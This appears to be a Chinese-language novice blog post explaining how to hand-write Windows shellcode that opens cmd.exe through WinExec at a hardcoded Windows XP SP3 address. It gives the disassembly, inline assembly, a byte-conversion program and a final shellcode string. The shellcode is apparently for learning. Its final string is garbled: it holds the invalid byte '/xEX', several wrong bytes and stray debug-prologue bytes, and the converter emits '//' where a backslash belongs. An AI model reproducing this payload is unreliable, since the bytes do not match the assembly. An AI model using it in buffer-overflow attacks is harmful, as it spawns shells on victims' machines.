很久没有写博客了,今天写写一个以前没有写过的话题,缓冲区溢出shellcode编写。
我是菜鸟,以前没有写过shellcode,最近也在忙着网络的渗透,栈溢出也是零零碎碎的看到一些知识,大牛飘过,菜鸟言论仅供娱乐。
大家同是菜鸟的人可以看看,我是站在初学者的角度写这篇文章的,所以初学者应该比较容易理解。
对于一些复杂的shellcodet我们暂且先不谈,我们先来看看自己编写一个打开cmd窗口的shellcode。其实黑客防线上有位大神执笔写了一系列exploit的编写,有兴趣的人自己去看看。
首先我们需要了解一下windows的运行机制。我们先写一个简单的开启本地cmd窗口的程序:
#include<windows.h> Void main() { WinExec(“cmd.exe”,1); }
在Visual C++上按F10进入反汇编代码:
1:#include”windows.h” 2:void main() 3: { 00401010 push ebp 00401011 mov ebp,esp 00401013 sub esp,40h 00401016 push ebx 00401017 push esi 00401018 push edi 00401019 lea edi,[ebp-40h] 0040101C mov ecx,10h 00401021 mov eax,0CCCCCCCCh 00401026 rep stos dword ptr [edi] 4: WinExec("cmd.exe",1); 00401028 mov esi,esp 0040102A push 1 0040102C push offset string "cmd.exe" (0041f01c) 00401031 call dword ptr [__imp__WinExec@8 (0042413c)] 00401037 cmp esi,esp 00401039 call __chkesp (00401070) 5: }
通过这个程序我们可以清楚的看到计算机在调用WinExec函数的时候是先把两个参数从右至左一次压入栈,然后调用call函数转到WinExec的地址去。但是要注意的是call函数除了实现地址的跳转还有一点就是把当前的EIP压入栈。
对于shellcode是机器码,大多数人看到都会晕乎乎的,但是不用怕,我们所要做的工作不是用机器码写这一大堆东西,这些计算机已经为我们做的很好了,我们所要做的就是用汇编甚至是高级语言写下我们要实现的代码。
但目前其实目的已经很明确,我们要调用WinExec函数就要知道在不同系统中WinExec函数所在的地址,那么用什么方法知道这个函数所在的地址呢?这里我介绍一种非常简便的办法,使用vc自带的depends工具。打开Depends,随便拖一个PE文件进去如下图:
我们可以看到KERNEL.DLL的入口地址是0x7c800000而WinExec的入口地址是0x0006250D那么WinExec的地址就出来了两个相加得到0x7C86250D,这个方法是不是很简单?另外本菜鸟使用的是windows XP sp3不同的系统可能有所不同。
有了入口地址,我们可以用汇编来编写我们的shellcode,
#include<windows.h> void main() { _asm { push ebp mov ebp,esp xor edi,edi push edi sub esp,04h mov [ebp-08h],63h mov [ebp-07h],6Dh mov [ebp-06h],64h mov [ebp-05h],2Eh mov [ebp-04h],65h mov [ebp-03h],78h mov [ebp-02h],65h push 1 //压入第一个参数 lea eax,[ebp-08h] push eax //压入第二个参数 mov edx,0x7C86250D call edx //调用WinExec leave }; }
按F10进入反汇编调试器中,在按Alt+8看到汇编代码,此时并没有机器码啊,别着急,在空白的地方右击出现的下拉菜单中选中Code Byte一项。看看出现了什么?在每一行汇编代码前出现了机器码!如下图
下面要做的工作就是把这些机器码抄下来了,这个是体力活。直接抄在一起比如:558BEC83EC……那么我们还要在每两个字母前手动添加/x么?当然不用,写一个小程序,一劳永逸:
#include "stdio.h" #include "stdlib.h" int main() { FILE *fp1=NULL,*fp2=NULL; char ch,filename[20]={0}; printf("请输入文件路径:(注意字符转义)/n"); scanf("%s",filename); if((fp1=fopen(filename,"rb"))==NULL) { printf("不能读取文件!/n"); exit(0); } if((fp2=fopen("d://shellcode.txt","w+"))==NULL) { printf("不能写入文件!/n"); exit(0); } while (!feof(fp1)) { ch=fgetc(fp1); fputc('//',fp2); fputc('x',fp2); fputc(ch,fp2); ch=fgetc(fp1); fputc(ch,fp2); } printf("转换成功!"); fclose(fp1); fclose(fp2); return 0; }
最终转换的shellcode就是
/x55/x8B/xEX/x83/xEC/x40/x53/x56/x57/x8D/x7D/xC0/xB9/x10/x11/x11/x11/xB8/xCC/xCC/xCC/xCC/xF3/x1B/x55/x8B/xEC/x33/xFF/x57/x83/xEC/x04/xC6/x45/xF8/x63/xC6/x45/xF9/x6D/xC6/x45/xFA/x64/xC6/x45/xFB/x2E/xC6/x45/xFC/x65/xC6/x45/xFD/x78/xC6/x45/xFE/x65/x6A/x01/x8D/x45/xF8/x50/xBA/x0D/x25/x86/x7C/xFF/xD2/xC9
到这里该讲的都讲完了,还是那一句话,菜鸟言论,大牛飘过。。。